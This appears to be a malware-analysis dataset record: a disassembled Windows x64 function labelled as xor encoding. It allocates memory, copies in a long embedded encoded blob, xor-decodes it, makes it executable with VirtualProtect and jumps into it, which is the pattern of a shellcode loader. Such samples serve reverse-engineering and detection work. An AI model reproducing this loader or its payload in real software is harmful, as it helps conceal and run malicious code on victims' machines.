Function at 0x1400013f0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x14002a4b8]
xor rax, rsp
mov qword [rsp + 0x40], rax
stmxcsr dword [rsp + 0x3c]
or dword [rsp + 0x3c], 0x8040
ldmxcsr dword [rsp + 0x3c]
xor r14d, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x3c], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x14002b820], eax
lea r9d, [rax - 2]
lea ecx, [rax + 0xffa]
lea r8d, [rax + 0x1ffa]
or r8d, ecx
mov ecx, dword [0x14002a4ac]
lea edx, [rax + rcx]
add edx, 0xfffffffa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
mov r9d, dword [0x14002a4ac]
mov edi, dword [0x14002b820]
lea edx, [rdi - 6]
movsxd rcx, edi
mov r15, rax
add r15, 0xfffffffffffffffa
lea ebp, [r9 + rcx*2]
add ebp, 0xfffffff4
cmp edx, ebp
jae 0x140001578
lea edx, [rcx - 0xc]
movsxd rbp, edx
add rbp, rcx
add ecx, 0xfffffffe
lea r8, str.nhyD7D6peB7x4AG25ULG4xx1jEsVdNH6eBMh1GAqB1ypz3Ue1UBX5BLNYu5OxD7xXDmNOeW_zRYjuYRmqQZkFuuMmU8zQBZx14pThdmur40Qs1XcYtLz3Bxs6y0tt6q6r8XwrQODLEEtBdNMHu5sfmsC1VY2KDGIk6chQ7MSgpqHou1rD7x8ihW1FOEM7ZLI5SejqfPmPs5UzB0TCUkfEKaz54TGWc0WjQmwQvwTBX9AOJCe5p119E4SSVzatYrOynsfKQP5LaCX5ld75oJzlsKZ6iylpgY_PqbR9Lyqz8HiiepJZKX7th8dxoLHknyTYaqORBBVDk_64qTqvGNUGFaMG1dkoVuSHx8h0SVarv1pxgKZlqnchMcjYx1HUm5CXyXVpeGsC6DmCYq1F7wmFRREIHBYvqLPoBnwA2MuaLs8mfG41eaVPiyNDNw7lkNP0PBtCY0qWKQKV5lFCzg60ERnP5lgkGQon4LEvddLty76v6IozNr6w5XKj9QOH4Lp0wEdq1vhuX6_z_3jj7Tzu0sXcKaXVsTpz07zwlnp0cNg7Vg9K6JXFDrUJRn8fOTnfMosaHi10aV9PVwI6AxJcwG7e6mTnXhbzX9wmDQjdD_fRZxPo63IdQuGRqIZoDVBf0YRrQOlYxAAHQ52ewR9TYwQdCB05W_IEFJQ0YM5vNVXlzrQ4WI73FJOPdwFTASD4WO2JoM_jnkNLMBQSTo6OAd6Ni8T4X8BbbSfeixpWVH59xsNZxFR8dXMehqMmE18XRrQRQVOxB9rXnFu2EGwOu1kgFXCrk0M0Jq9ZsOWwoPt4IFKkJoMcLTMFQAC3B7UN4aEwtA0pYOA64CnKF_KJhSCJPjSnc11_QPoe6ucXdyUXlm1PfTVeSBKceCEUSpo1dHKDp0vQCUytLkfLVoQMHgpTit8m0yJUo4Eyy8hjGL6YrXOEZwievVjk0etoh_XtWCsgrYVZP4iFbvwO8AIRLKOK61RNgSKRvhS5_YAUl7EBoXdz_sT0otRp9Cfeg7a9nTq8eGoPzWQFOfASxAMGpHSRf_18R7DAY_D1wDcPItVSrNHkTylcvulFsc1mUu8NfwvE_noULeq6rc8QecAb9ZmqnrFBMkqC82Cho7LiDsYPTI0P9eGoIHwUrOJWe7TPloqFEXqJAJVhRZfLGsm28AzC
mov edx, edi
nop dword [rax]
movsxd rdx, edx
add rdx, rbp
mov ebx, r14d
lea rdx, [rdx + rbx*4]
movzx eax, byte [rdx + r8 - 6]
mov byte [r12 + rdx - 6], al
mov edx, dword [0x14002b820]
lea eax, [rcx - 3]
lea esi, [rdi + rdx]
add esi, r9d
add esi, 0xfffffff4
cmp eax, esi
jae 0x14000156c
shl rbx, 2
movsxd rax, edx
add rax, rbp
add rax, rbx
movzx edx, byte [rax + r8 - 5]
mov byte [r12 + rax - 5], dl
mov edx, dword [0x14002b820]
lea eax, [rcx - 2]
lea esi, [rdi + rdx]
add esi, r9d
add esi, 0xfffffff4
cmp eax, esi
jae 0x14000156c
movsxd rax, edx
add rax, rbp
add rax, rbx
movzx edx, byte [rax + r8 - 4]
mov byte [r12 + rax - 4], dl
mov edx, dword [0x14002b820]
lea eax, [rcx - 1]
lea esi, [rdi + rdx]
add esi, r9d
add esi, 0xfffffff4
cmp eax, esi
jae 0x14000156c
movsxd rax, edx
add rax, rbp
add rax, rbx
movzx edx, byte [rax + r8 - 3]
mov byte [r12 + rax - 3], dl
mov edx, dword [0x14002b820]
lea eax, [rdi + rdx]
add eax, r9d
add eax, 0xfffffff4
cmp ecx, eax
jae 0x14000156c
inc r14d
add ecx, 4
jmp 0x1400014b0
mov r9d, dword [0x14002a4ac]
movsxd rcx, edx
mov edi, edx
lea edx, [r9 + rdi]
add edx, 0xfffffffa
add rcx, r15
lea r8, [rsp + 0x38]
call fcn.140001070
mov r13, rax
mov ebx, dword [0x14002b820]
lea ecx, [rbx + 0x6f702]
mov r14d, dword [rsp + 0x38]
lea esi, [r14 - 1]
call fcn.14000b378
test esi, esi
jle 0x140001714
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r15
mov eax, esi
mov qword [rsp + 0x20], rax
cmp esi, 8
jb 0x1400016c4
mov rbp, qword [rsp + 0x20]
shr rbp, 3
lea r14d, [rbx + 2]
xor r15d, r15d
nop dword [rax + rax]
movzx edi, byte [r13 + r15*8]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8], dl
movzx edi, byte [r13 + r15*8 + 1]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 1], dl
movzx edi, byte [r13 + r15*8 + 2]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 2], dl
movzx edi, byte [r13 + r15*8 + 3]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 3], dl
movzx edi, byte [r13 + r15*8 + 4]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 4], dl
movzx edi, byte [r13 + r15*8 + 5]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 5], dl
movzx edi, byte [r13 + r15*8 + 6]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 6], dl
movzx edi, byte [r13 + r15*8 + 7]
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, dil
xor dl, r14b
mov byte [r13 + r15*8 + 7], dl
inc r15
cmp rbp, r15
jne 0x1400015e0
mov rax, qword [rsp + 0x20]
mov ebp, eax
and ebp, 0xfffffff8
cmp rbp, rax
mov r15, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
jae 0x140001714
mov rdi, rbx
add dil, 2
nop word cs:[rax + rax]
movzx ebx, byte [r13 + rbp]
xor bl, dil
call fcn.14000b34c
cdq
idiv esi
inc dl
xor dl, bl
mov byte [r13 + rbp], dl
inc rbp
cmp qword [rsp + 0x20], rbp
jne 0x1400016f0
mov ebp, dword [0x14002b820]
lea eax, [rbp - 6]
lea ecx, [rsi + rbp]
add ecx, 0xfffffffa
cmp eax, ecx
jae 0x1400017e8
movsxd rcx, ebp
lea eax, [rbp - 0xc]
cdqe
add rax, rcx
lea ecx, [rbp - 2]
xor esi, esi
nop dword [rax + rax]
movsxd rbx, ebp
add rbx, rax
mov ebp, esi
lea rbx, [rbx + rbp*4]
movzx edx, byte [r13 + rbx - 6]
mov byte [r12 + rbx - 6], dl
movsxd rdi, dword [0x14002b820]
lea edx, [rcx - 3]
lea ebx, [r14 + rdi]
add ebx, 0xfffffff9
cmp edx, ebx
jae 0x1400017e8
shl rbp, 2
add rdi, rax
add rdi, rbp
movzx edx, byte [r13 + rdi - 5]
mov byte [r12 + rdi - 5], dl
movsxd rdi, dword [0x14002b820]
lea edx, [rcx - 2]
lea ebx, [r14 + rdi]
add ebx, 0xfffffff9
cmp edx, ebx
jae 0x1400017e8
add rdi, rax
add rdi, rbp
movzx edx, byte [r13 + rdi - 4]
mov byte [r12 + rdi - 4], dl
movsxd rdi, dword [0x14002b820]
lea edx, [rcx - 1]
lea ebx, [r14 + rdi]
add ebx, 0xfffffff9
cmp edx, ebx
jae 0x1400017e8
add rdi, rax
add rdi, rbp
movzx edx, byte [r13 + rdi - 3]
mov byte [r12 + rdi - 3], dl
mov ebp, dword [0x14002b820]
lea edx, [r14 + rbp]
add edx, 0xfffffff9
cmp ecx, edx
jae 0x1400017e8
inc esi
add ecx, 4
jmp 0x140001740
mov rcx, r13
call fcn.140006790
movsxd rcx, dword [0x14002b820]
mov eax, dword [0x14002a4ac]
lea r8d, [rcx + 0x1a]
lea edx, [rcx + rax]
add edx, 0xfffffffa
add rcx, r15
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000181c
call r12
movsxd rax, dword [0x14002b820]
mov ecx, dword [0x14002a4ac]
lea r8d, [rax + 0x7ffa]
lea edx, [rax + rcx]
add edx, 0xfffffffa
add r15, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400067b0
xor eax, eax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret